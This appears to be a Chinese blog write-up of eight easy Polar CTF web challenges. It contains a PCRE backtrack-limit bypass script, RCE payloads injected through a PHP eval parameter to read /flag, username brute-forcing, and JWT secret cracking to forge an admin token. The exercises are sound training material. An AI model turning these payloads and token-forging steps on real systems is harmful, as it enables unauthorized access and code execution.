Polar靶场-Web简单题目记录(1-8)

Polar靶场-SWP题目

  • 题目考查点:目录探测+代码审计
  • 题目使用工具:dirsearch

查看题目提示,需要查看swp文件

image

扫描目录发现/.index.php.swp

image

访问查看swp文件,发现存在代码

image

通过对代码分析:

  • 正则验证函数:

     jiuzhe():函数使用preg_match('/sys.*nb/is', $xdmtql):进行模式匹配。该正则表达式匹配包含 "sys" 后接任意字符(包括换行符,.符号通过s修饰符匹配所有字符),最后以 "nb" 结尾的字符串(例如 "sysXnb" 或 "sys\nNB"),且不区分大小写(i修饰符)。

1.输入处理逻辑

  • 当输入参数xdmtql非数组时,依次执行以下检查:① 若jiuzhe()返回false(即未匹配正则),则进一步检查字符串是否包含固定子串 "sys nb"(需严格匹配空格),存在则输出 flag。② 若jiuzhe()返回true(正则匹配成功),则输出 "nijilenijile"。

2.绕过关键点

  • 需构造输入既绕过正则匹配(使jiuzhe()返回false),又包含 "sys nb" 子串。可能的方式包括:
  • 回溯次数限制绕过:提交超长字符串(如 "sys" 后接百万字符 +"nb"),触发 PHP 的 PCRE 回溯限制(默认 1,000,000 次),导致preg_match()返回false。此时若字符串中某处存在 "sys nb",可满足strpos条件。
  • 换行符干扰:尝试提交 "sys%0anb"(换行符可能干扰正则解析但保留子串匹配),但需注意s修饰符允许.匹配换行符,此方法可能失效。

import requests
import validators
from time import sleep

url = "靶场url"
data = {"xdmtql": "sys nb" + "a" * 999999}

def send_request(url, data, retries=3, delay=2):
    if not validators.url(url):
        print("提供的URL无效,请检查链接的合法性。")
        return None

    for attempt in range(retries):
        try:
            response = requests.post(url, data=data, timeout=10)
            response.raise_for_status()  # 检查HTTP状态码
            return response.content
        except requests.exceptions.RequestException as e:
            print(f"请求失败(尝试 {attempt + 1}/{retries}): {e}")
            if attempt < retries - 1:
                print(f"正在重试,等待 {delay} 秒...")
                sleep(delay)
            else:
                print("所有重试均失败,请检查网络连接或稍后重试。")
    return None

response_content = send_request(url, data)
if response_content:
    print("请求成功!")
    print("响应内容:")
    print(response_content)
else:
    print("无法获取响应内容。")

Polar靶场-简单rce题目

  • 题目考查点:代码审计

访问靶场,查看题

image

对代码进行审计,触发条件如下:

  • 必须同时满足两个条件才能执行 eval:
  • 通过 GET 请求传递sys参数
  • 通过 POST 请求提交yyds=666

解题思路1

GET /?sys=passthru('sort%09/flag'); POST / HTTP/1.1 yyds=666

解题思路2

GET /?sys=eval($_POST[1]); POST / HTTP/1.1 yyds=666&1=echocat ../../flag;

Polar靶场-蜜雪冰城吉警店

  • 题目考查点:前端修改

根据提示,修改id数值

image

Polar靶场-召唤神龙

  • 题目考查点:JSFuck

什么是JSFuck

JSFuck是基于JavaScript原子部分的深奥和教育性编程风格。它仅仅使用六个不同的字符来编写和执行代码。
分别是:{​ }​ [​ ]​ +​ !​ 它不依赖于浏览器,因此可以在Node.js上运行。

打开网址,发现是js小游戏,先查看源码,没有可以利用的信息,然后用调试器查看,看到main.js有一串明显的jsfuck

image

通过解码网址进行解密

image

Polar靶场-seek flag

单看页面没有任何提示,查看网站源代码发现存在提示

image

扫描目录发现存在/robots.txt

image

访问robots.txt

image

获取到部分flag,抓包看一下网站,发现存在id数值,修改原有0等于1 获取flag2和flag3

image

Polar靶场-login

查看源码,发现存在登录账号密码,登录后无任何回显

image

尝试修改账号,进行遍历,发现存在回显

image

进行对用户名处进行爆破,获取flag

image

Polar靶场-JWT

首先任意注册一个账号,进行登录
image

登录后抓包,发现存在jwt格式数据

image

使用jwt-cracker进行爆破,获取对称密钥SYSA

image

构造admin jwt 进行登录

image

获取flag

image

Polar靶场-iphone

  • 题目考查点:UA字段

根据题目提示,需要使用iphone UA进行访问,才能回显flag

image

修改浏览器UA头,添加iphone,获取flag

image

posted @ 2025-05-12 16:01  Ktcc5  阅读(140)  评论(0)    收藏  举报